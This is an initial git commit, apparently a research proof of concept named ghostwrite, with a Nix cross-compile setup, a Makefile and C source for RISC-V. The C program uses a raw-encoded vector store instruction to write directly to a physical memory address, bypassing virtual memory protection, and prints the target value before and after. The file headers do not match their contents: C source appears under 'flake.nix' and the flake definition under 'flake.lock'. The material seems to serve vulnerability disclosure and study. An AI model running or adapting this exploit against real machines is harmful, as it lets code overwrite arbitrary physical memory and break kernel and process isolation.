init

Author: fabian-thomas

.envrc

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+use flake

.gitignore

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+ghostwrite
+.direnv

Makefile

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+ghostwrite: ghostwrite.c
+	riscv64-linux-gnu-gcc ghostwrite.c -static -march="rv64gvzve64x" -o ghostwrite
+
+clean:
+	rm -rf ghostwrite

flake.lock

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+{
+  inputs = {
+    nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05";
+    flake-utils.url = "github:numtide/flake-utils";
+  };
+
+  outputs = { self, nixpkgs, flake-utils, ... }:
+    flake-utils.lib.eachDefaultSystem (system:
+      let
+        pkgs = nixpkgs.legacyPackages.${system};
+        pkgsCross = import nixpkgs { inherit system; crossSystem = { config = "riscv64-linux-gnu"; }; };
+      in
+      {
+        devShells.default = pkgsCross.mkShell {
+          buildInputs = [ pkgsCross.glibc.static ];
+        };
+      });
+}

flake.nix

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+// NOTE: compile with any vector extension, e.g., -march="rv64gzve64x"
+
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+size_t get_physical_address(size_t vaddr) {
+    if (geteuid() != 0) {
+        printf("Getting the physical address requires using sudo/root.\n");
+        exit(EXIT_FAILURE);
+    }
+    int fd = open("/proc/self/pagemap", O_RDONLY);
+    uint64_t virtual_addr = (uint64_t)vaddr;
+    size_t value = 0;
+    off_t offset = (virtual_addr / 4096) * sizeof(value);
+    int got = pread(fd, &value, sizeof(value), offset);
+    if(got != sizeof(value)) {
+        return 0;
+    }
+    close(fd);
+    return (value << 12) | ((size_t)vaddr & 0xFFFULL);
+}
+
+static inline void maccess(void *addr) {
+  asm volatile("ld a7, (%0)" : : "r"(addr) : "a7", "memory");
+}
+
+char __attribute__((aligned(4096))) buffer[2<<20];
+
+static void evict() {
+    for (unsigned i = 0; i < sizeof(buffer); i+=4096) {
+        maccess(&buffer[i]);
+    }
+    asm volatile("fence\n\t");
+}
+
+int main() {
+    memset(buffer, 0xff, sizeof(buffer));
+
+    volatile uint64_t* target = mmap(NULL, sizeof(*target), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
+    *target = 0xcaaa;
+
+    uint64_t virt = (uint64_t)target;
+    uint64_t phys = get_physical_address(virt);
+
+    printf("Virtual address:  %16lx\n", virt);
+    printf("Phyiscal address: %16lx\n\n", phys);
+
+    printf("Value before:     %16lx\n", *target);
+
+    evict();
+    asm volatile(
+            "mv t0, %0\n\t"
+            "mv a0, %1\n\t"
+            "vsetvli zero, zero, e8, m1\n\t"
+            "vmv.v.x v0, a0\n\t"
+            /* vse128.v v0, 0(t0) */
+            ".fill 1, 4, 0x10028027\n\t"
+            "fence" :: "r"(phys), "r"(0xfe) : "ra");
+
+    printf("Value after:      %16lx\n", *target);
+}